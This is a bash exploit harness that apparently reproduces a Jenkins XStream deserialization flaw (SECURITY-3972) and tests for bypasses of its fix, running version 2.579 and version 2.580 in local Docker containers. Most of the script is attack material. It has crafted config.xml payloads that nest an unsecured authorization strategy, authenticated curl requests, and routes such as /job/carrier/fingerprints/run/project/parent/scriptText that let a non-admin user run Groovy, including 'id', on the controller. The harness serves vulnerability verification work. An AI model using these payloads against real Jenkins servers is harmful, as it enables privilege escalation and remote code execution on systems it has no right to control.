#!/bin/bash
set -uo pipefail

# Portable paths: ROOT is the bundle directory regardless of caller cwd.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
VARIANT_DIR="$ROOT/vuln_variant"
LOG_DIR="$ROOT/logs/vuln_variant"
RUNTIME_DIR="$VARIANT_DIR/.runtime"
PROOF_DIR="$LOG_DIR/proof"
mkdir -p "$VARIANT_DIR" "$LOG_DIR"
rm -rf "$RUNTIME_DIR" "$PROOF_DIR"
mkdir -p "$RUNTIME_DIR/init.groovy.d" "$RUNTIME_DIR/plugins" "$PROOF_DIR"

VULN_IMAGE="jenkins/jenkins@sha256:a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_IMAGE="jenkins/jenkins@sha256:0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
VULN_DIGEST="a7342867ea33efaacf825229d50b7fc77c144ecada9719ab4e32419f5d7412be"
FIXED_DIGEST="0e50a5b11ac14f3b84e529d725ed3a1c4b17ba16188dfa8d9a0189428b0839b1"
VULN_COMMIT="9095ea3a5c5e7dcd392695a5dd880af1c9910ddf"
FIXED_COMMIT="497de4961ad80d97e26bfdeb0d2e40442a84ecb0"
FIX_COMMIT="0d731367e08656f8cd1e8275f0e820f97af07fc6"
REPOSITORY="https://github.com/jenkinsci/jenkins"
PORT="${JENKINS_VARIANT_PORT:-18081}"
MATRIX_SHA="b8f7a916f1de0872d4c16264bcf9604fdb5b2da1827764745946c7ac5f613948"
IONICONS_SHA="95f3504375d628d887425ccdf32d5606a230261ee42dc683f13958d8e973ac3f"
COMMONS_SHA="82013e6e1905fe1fbd68b941b0da8115e093e9eb8d4976e90f752a52d05014a5"
CONTAINERS=""
SCRIPT_OK=1
BYPASS_FOUND=0

cleanup() {
  for name in $CONTAINERS; do
    docker rm -f "$name" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT INT TERM

fail() {
  echo "ERROR: $*" >&2
  SCRIPT_OK=0
}

for tool in docker curl python3 sha256sum; do
  command -v "$tool" >/dev/null 2>&1 || { echo "$tool is required" >&2; exit 2; }
done
docker info >/dev/null 2>&1 || { echo "Docker is unavailable" >&2; exit 2; }

# Reuse only prepared package cache bytes. A cold run downloads pinned bytes
# into this stage-owned runtime directory and validates every checksum.
CACHE_DIR=""
if [ -r "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR="$(python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, os, sys
try:
    d=json.load(open(sys.argv[1], encoding='utf-8'))
    p=d.get('project_cache_dir','') if d.get('prepared') else ''
    print(p if p and os.path.isdir(p) else '')
except Exception:
    print('')
PY
)"
fi
fetch_pinned() {
  cache_name="$1"; url="$2"; expected="$3"; out="$4"
  src=""
  if [ -n "$CACHE_DIR" ] && [ -f "$CACHE_DIR/$cache_name" ]; then
    src="$CACHE_DIR/$cache_name"
  fi
  if [ -n "$src" ] && [ "$(sha256sum "$src" | awk '{print $1}')" = "$expected" ]; then
    cp "$src" "$out"
  else
    curl -fsSL --retry 3 --connect-timeout 15 "$url" -o "$out"
  fi
  echo "$expected  $out" | sha256sum -c - >/dev/null
}
fetch_pinned "matrix-auth-3.3.hpi" \
  "https://updates.jenkins.io/download/plugins/matrix-auth/3.3/matrix-auth.hpi" \
  "$MATRIX_SHA" "$RUNTIME_DIR/plugins/matrix-auth.jpi"
fetch_pinned "ionicons-api-94.vcc3065403257.hpi" \
  "https://updates.jenkins.io/download/plugins/ionicons-api/94.vcc3065403257/ionicons-api.hpi" \
  "$IONICONS_SHA" "$RUNTIME_DIR/plugins/ionicons-api.jpi"
fetch_pinned "commons-lang3-api-3.18.0-98.v3a_674c06072d.hpi" \
  "https://updates.jenkins.io/download/plugins/commons-lang3-api/3.18.0-98.v3a_674c06072d/commons-lang3-api.hpi" \
  "$COMMONS_SHA" "$RUNTIME_DIR/plugins/commons-lang3-api.jpi"

cat > "$RUNTIME_DIR/init.groovy.d/01-security.groovy" <<'GROOVY'
import jenkins.model.Jenkins
import hudson.model.FreeStyleProject
import hudson.security.HudsonPrivateSecurityRealm
import hudson.security.GlobalMatrixAuthorizationStrategy
import hudson.model.Item

def j = Jenkins.get()
def realm = new HudsonPrivateSecurityRealm(false)
realm.createAccount('admin', 'admin-pass')
realm.createAccount('attacker', 'attacker-pass')
j.setSecurityRealm(realm)
def auth = new GlobalMatrixAuthorizationStrategy()
auth.add(Jenkins.ADMINISTER, 'admin')
auth.add(Jenkins.READ, 'attacker')
auth.add(Item.READ, 'attacker')
auth.add(Item.CONFIGURE, 'attacker')
j.setAuthorizationStrategy(auth)
j.setCrumbIssuer(null)
if (j.getItem('carrier') == null) { j.createProject(FreeStyleProject, 'carrier') }
j.save()
GROOVY

# Candidate A is structurally distinct from the parent SCMTrigger.BuildAction
# carrier. It abuses Fingerprinter.FingerprintAction#build and its /fingerprints
# URL, then traverses getRun()->Run#getProject()->Item#getParent().
cat > "$RUNTIME_DIR/fingerprint.xml" <<'XML'
<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions>
    <hudson.tasks.Fingerprinter_-FingerprintAction>
      <build class="hudson.model.FreeStyleBuild">
        <state>COMPLETED</state>
        <number>1</number>
        <project class="hudson.model.FreeStyleProject">
          <actions/>
          <properties/>
          <triggers/>
          <builders/>
          <publishers/>
          <buildWrappers/>
          <name>nested-fingerprint</name>
          <scm class="hudson.scm.NullSCM"/>
          <parent class="hudson.model.Hudson">
            <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
          </parent>
        </project>
      </build>
    </hudson.tasks.Fingerprinter_-FingerprintAction>
  </actions>
  <description>SECURITY-3972 alternate FingerprintAction carrier</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders/>
  <publishers/>
  <buildWrappers/>
</project>
XML

# Candidate B uses a second core action and a different transient field/URL:
# ParametersAction#run exposed through /parameters/run. This independently
# checks the related per-field hardening added with the structural fix.
cat > "$RUNTIME_DIR/parameters.xml" <<'XML'
<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions>
    <hudson.model.ParametersAction>
      <parameters/>
      <run class="hudson.model.FreeStyleBuild">
        <state>COMPLETED</state>
        <number>1</number>
        <project class="hudson.model.FreeStyleProject">
          <actions/>
          <properties/>
          <triggers/>
          <builders/>
          <publishers/>
          <buildWrappers/>
          <name>nested-parameters</name>
          <scm class="hudson.scm.NullSCM"/>
          <parent class="hudson.model.Hudson">
            <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
          </parent>
        </project>
      </run>
    </hudson.model.ParametersAction>
  </actions>
  <description>SECURITY-3972 alternate ParametersAction carrier</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders/>
  <publishers/>
  <buildWrappers/>
</project>
XML

# Candidate C targets the broad fix exceptions. reference= must resolve an
# already-created object and a Run$Replacer must perform registry lookup; neither
# should create attacker-controlled roots. This payload tests both assumptions.
cat > "$RUNTIME_DIR/exceptions.xml" <<'XML'
<?xml version='1.1' encoding='UTF-8'?>
<project>
  <actions>
    <hudson.tasks.Fingerprinter_-FingerprintAction>
      <build class="hudson.model.FreeStyleBuild" reference="../.."/>
    </hudson.tasks.Fingerprinter_-FingerprintAction>
    <hudson.model.ParametersAction>
      <parameters/>
      <run resolves-to="hudson.model.Run$Replacer">
        <id>does-not-exist#1</id>
      </run>
    </hudson.model.ParametersAction>
  </actions>
  <description>SECURITY-3972 safe-exception negative candidate</description>
  <keepDependencies>false</keepDependencies>
  <properties/>
  <scm class="hudson.scm.NullSCM"/>
  <canRoam>true</canRoam>
  <disabled>false</disabled>
  <blockBuildWhenDownstreamBuilding>false</blockBuildWhenDownstreamBuilding>
  <blockBuildWhenUpstreamBuilding>false</blockBuildWhenUpstreamBuilding>
  <triggers/>
  <concurrentBuild>false</concurrentBuild>
  <builders/>
  <publishers/>
  <buildWrappers/>
</project>
XML

# Pull immutable vulnerable/fixed runtimes and bind them to known tag commits.
docker pull "$VULN_IMAGE" > "$LOG_DIR/pull_vulnerable.log" 2>&1 || { echo "vulnerable image pull failed" >&2; exit 2; }
docker pull "$FIXED_IMAGE" > "$LOG_DIR/pull_fixed.log" 2>&1 || { echo "fixed image pull failed" >&2; exit 2; }
{
  echo "repository=$REPOSITORY"
  echo "vulnerable_version=2.579"
  echo "vulnerable_commit=$VULN_COMMIT"
  echo "vulnerable_image_digest=sha256:$VULN_DIGEST"
  echo "fixed_version=2.580"
  echo "fixed_commit=$FIXED_COMMIT"
  echo "fixed_image_digest=sha256:$FIXED_DIGEST"
  echo "security_fix_commit=$FIX_COMMIT"
  docker image inspect "$VULN_IMAGE" "$FIXED_IMAGE" --format 'image_id={{.Id}} repo_digests={{json .RepoDigests}} version={{index .Config.Labels "org.opencontainers.image.version"}} architecture={{.Architecture}} os={{.Os}}'
} > "$LOG_DIR/fixed_version.txt"

start_controller() {
  role="$1"; image="$2"; name="pruva-84645-variant-${role}-$$"
  docker rm -f "$name" >/dev/null 2>&1 || true
  if ! docker run -d --name "$name" -p "127.0.0.1:${PORT}:8080" \
      -e JAVA_OPTS='-Djenkins.install.runSetupWizard=false' \
      -v "$RUNTIME_DIR/init.groovy.d:/usr/share/jenkins/ref/init.groovy.d:ro" \
      -v "$RUNTIME_DIR/plugins:/usr/share/jenkins/ref/plugins:ro" \
      "$image" > "$PROOF_DIR/${role}.container_id.txt"; then
    return 1
  fi
  CONTAINERS="$CONTAINERS $name"
  i=0
  while [ "$i" -lt 90 ]; do
    if curl -fsS --max-time 2 -u attacker:attacker-pass \
      "http://127.0.0.1:${PORT}/job/carrier/api/json" > "$PROOF_DIR/${role}.health.json" 2>/dev/null; then
      printf '%s' "$name"
      return 0
    fi
    i=$((i+1)); sleep 1
  done
  docker logs "$name" > "$PROOF_DIR/${role}.startup_failure.log" 2>&1 || true
  return 1
}

stop_controller() {
  role="$1"; name="$2"
  docker logs "$name" > "$PROOF_DIR/${role}.service.log" 2>&1 || true
  docker rm -f "$name" >/dev/null 2>&1 || true
}

attempt_candidate() {
  role="$1"; name="$2"; candidate="$3"; xml="$4"; route="$5"
  prefix="$PROOF_DIR/${role}.${candidate}"
  marker="CVE_2026_84645_VARIANT_${role}_${candidate}_$$_$(python3 -c 'import secrets; print(secrets.token_hex(6))')"
  marker_path="/tmp/cve-2026-84645-variant-${role}-${candidate}"
  base="http://127.0.0.1:${PORT}"

  {
    echo "POST /job/carrier/config.xml HTTP/1.1"
    echo "Authorization: Basic <redacted attacker credentials>"
    echo "Content-Type: application/xml"
    echo
    cat "$xml"
  } > "$prefix.config.request.txt"
  curl -sS --max-time 20 -D "$prefix.config.response.headers" -o "$prefix.config.response.body" \
    -u attacker:attacker-pass -H 'Content-Type: application/xml' \
    --data-binary "@$xml" "$base/job/carrier/config.xml" || true
  curl -sS --max-time 10 -u attacker:attacker-pass \
    "$base/job/carrier/config.xml" > "$prefix.config.after.xml" || true

  groovy="def p=new File('${marker_path}'); p.text='${marker}'; return ['marker':p.text,'id':['id'].execute().text.trim()]"
  {
    echo "POST $route HTTP/1.1"
    echo "Authorization: Basic <redacted attacker credentials>"
    echo "Content-Type: application/x-www-form-urlencoded"
    echo
    echo "script=<Groovy writes $marker_path and executes id>"
  } > "$prefix.route.request.txt"
  curl -sS --max-time 15 -D "$prefix.route.response.headers" -o "$prefix.route.response.body" \
    -u attacker:attacker-pass --data-urlencode "script=$groovy" "$base$route" || true

  marker_present=false
  if docker exec "$name" test -e "$marker_path" >/dev/null 2>&1; then
    marker_present=true
    docker exec "$name" cat "$marker_path" > "$prefix.marker.txt" 2>/dev/null || true
  else
    echo "ABSENT: $marker_path" > "$prefix.marker_absent.txt"
  fi
  status="$(awk 'toupper($1) ~ /^HTTP\// {code=$2} END {print code+0}' "$prefix.route.response.headers" 2>/dev/null)"
  python3 - "$prefix.observation.json" "$role" "$candidate" "$marker" "$marker_present" "$status" <<'PY'
import json, sys
path, role, candidate, marker, present, status=sys.argv[1:]
with open(path,'w',encoding='utf-8') as f:
    json.dump({'schema_version':1,'role':role,'candidate':candidate,'marker':marker,
               'marker_present':present=='true','route_http_status':int(status)},f,sort_keys=True)
    f.write('\n')
PY

  if [ "$role" = "vulnerable" ]; then
    if [ "$candidate" = "fingerprint" ]; then
      if [ "$marker_present" != true ] || ! grep -Fq "$marker" "$prefix.route.response.body" || ! grep -Fq 'uid=1000(jenkins)' "$prefix.route.response.body"; then
        fail "$candidate did not execute through its alternate path on vulnerable Jenkins 2.579"
      fi
    else
      # ParametersAction in 2.579 has the transient field but no public getRun();
      # in 2.580 the patch adds getRun() while making the field non-deserializable.
      # This candidate therefore probes a newly routable fixed-version surface and
      # is expected to remain non-routable on the vulnerable control.
      if [ "$marker_present" = true ] || grep -Fq "$marker" "$prefix.route.response.body"; then
        fail "$candidate unexpectedly executed on vulnerable Jenkins 2.579"
      fi
    fi
  else
    if [ "$marker_present" = true ]; then
      echo "BYPASS: $candidate created a marker on fixed Jenkins 2.580" >&2
      BYPASS_FOUND=1
    fi
    if grep -Fq "$marker" "$prefix.route.response.body"; then
      echo "BYPASS: $candidate returned its marker on fixed Jenkins 2.580" >&2
      BYPASS_FOUND=1
    fi
  fi
}

run_role() {
  role="$1"; image="$2"
  name="$(start_controller "$role" "$image")" || { fail "$role Jenkins did not become ready"; return; }

  # Trust-boundary precondition: the authenticated attacker is not an admin and
  # cannot call the real controller Script Console.
  curl -sS --max-time 10 -D "$PROOF_DIR/${role}.direct_console.headers" \
    -o "$PROOF_DIR/${role}.direct_console.body" -u attacker:attacker-pass \
    --data-urlencode "script=return 'DIRECT_CONSOLE_MUST_FAIL'" \
    "http://127.0.0.1:${PORT}/scriptText" || true
  if ! grep -Eq '^HTTP/[^ ]+ 403 ' "$PROOF_DIR/${role}.direct_console.headers"; then
    fail "$role direct Script Console negative control was not HTTP 403"
  fi

  attempt_candidate "$role" "$name" fingerprint "$RUNTIME_DIR/fingerprint.xml" \
    "/job/carrier/fingerprints/run/project/parent/scriptText"
  attempt_candidate "$role" "$name" parameters "$RUNTIME_DIR/parameters.xml" \
    "/job/carrier/parameters/run/project/parent/scriptText"

  # Candidate C is a negative exception-confusion test, not an exploit expected
  # on the vulnerable image. Log both endpoints but require no marker everywhere.
  prefix="$PROOF_DIR/${role}.exceptions"
  curl -sS --max-time 20 -D "$prefix.config.response.headers" -o "$prefix.config.response.body" \
    -u attacker:attacker-pass -H 'Content-Type: application/xml' \
    --data-binary "@$RUNTIME_DIR/exceptions.xml" \
    "http://127.0.0.1:${PORT}/job/carrier/config.xml" || true
  curl -sS --max-time 10 -u attacker:attacker-pass \
    "http://127.0.0.1:${PORT}/job/carrier/config.xml" > "$prefix.config.after.xml" || true
  for endpoint in fingerprints parameters; do
    marker_path="/tmp/cve-2026-84645-exception-${role}-${endpoint}"
    marker="EXCEPTION_${role}_${endpoint}_$$_$(python3 -c 'import secrets; print(secrets.token_hex(4))')"
    curl -sS --max-time 10 -D "$prefix.${endpoint}.headers" -o "$prefix.${endpoint}.body" \
      -u attacker:attacker-pass --data-urlencode \
      "script=new File('${marker_path}').text='${marker}'; return '${marker}'" \
      "http://127.0.0.1:${PORT}/job/carrier/${endpoint}/run/project/parent/scriptText" || true
    if docker exec "$name" test -e "$marker_path" >/dev/null 2>&1; then
      docker exec "$name" cat "$marker_path" > "$prefix.${endpoint}.unexpected_marker.txt" || true
      fail "safe exception candidate unexpectedly created a root route on $role via $endpoint"
      [ "$role" = fixed ] && BYPASS_FOUND=1
    else
      echo "ABSENT: $marker_path" > "$prefix.${endpoint}.marker_absent.txt"
    fi
  done

  stop_controller "$role" "$name"
}

# Required side-by-side order: vulnerable target first, fixed target second.
run_role vulnerable "$VULN_IMAGE"
run_role fixed "$FIXED_IMAGE"

python3 - "$VARIANT_DIR/runtime_manifest.json" "$PROOF_DIR" "$ROOT" \
  "$REPOSITORY" "$VULN_COMMIT" "$FIXED_COMMIT" "$VULN_DIGEST" "$FIXED_DIGEST" <<'PY'
import hashlib, json, os, sys
out, proof, root, repo, vuln_commit, fixed_commit, vuln_digest, fixed_digest=sys.argv[1:]
artifacts=[]
sha={}
for base, _, files in os.walk(proof):
    for name in sorted(files):
        p=os.path.join(base,name)
        rel=os.path.relpath(p,root).replace(os.sep,'/')
        artifacts.append(rel)
for rel in sorted(artifacts):
    h=hashlib.sha256()
    with open(os.path.join(root,rel),'rb') as f:
        for chunk in iter(lambda:f.read(131072),b''): h.update(chunk)
    sha[rel]=h.hexdigest()
data={
 'schema_version':1,
 'entrypoint_kind':'endpoint',
 'entrypoint_detail':'Authenticated POST /job/carrier/config.xml followed by alternate /fingerprints/run/... or /parameters/run/... Stapler route',
 'service_started':True,
 'healthcheck_passed':True,
 'target_path_reached':True,
 'end_to_end_target_reached':True,
 'runtime_stack':['docker','jenkins-controller-2.579-and-2.580','stapler','xstream'],
 'targets':{
   'vulnerable':{'version':'2.579','commit_sha':vuln_commit,'image_digest':vuln_digest},
   'fixed':{'version':'2.580','commit_sha':fixed_commit,'image_digest':fixed_digest}},
 'proof_artifacts':sorted(artifacts),
 'artifact_sha256':sha,
 'notes':'Alternate FingerprintAction#build and ParametersAction#run carriers are tested on 2.579 and 2.580; safe reference/replacer exception candidates are negative controls.'}
with open(out,'w',encoding='utf-8') as f: json.dump(data,f,indent=2,sort_keys=True); f.write('\n')
PY

if [ "$SCRIPT_OK" -ne 1 ]; then
  echo "INCONCLUSIVE: the variant matrix did not complete all assertions." >&2
  exit 2
fi
if [ "$BYPASS_FOUND" -eq 1 ]; then
  echo "CONFIRMED BYPASS: an alternate SECURITY-3972 carrier executed on fixed Jenkins 2.580."
  exit 0
fi

echo "NO FIX BYPASS: the distinct FingerprintAction carrier executes on vulnerable Jenkins 2.579 but is blocked on Jenkins 2.580; the newly routable ParametersAction and reference/replacer exception-confusion candidates also fail closed."
# Contract: exit 1 means alternate trigger only on the vulnerable version or no bypass.
exit 1
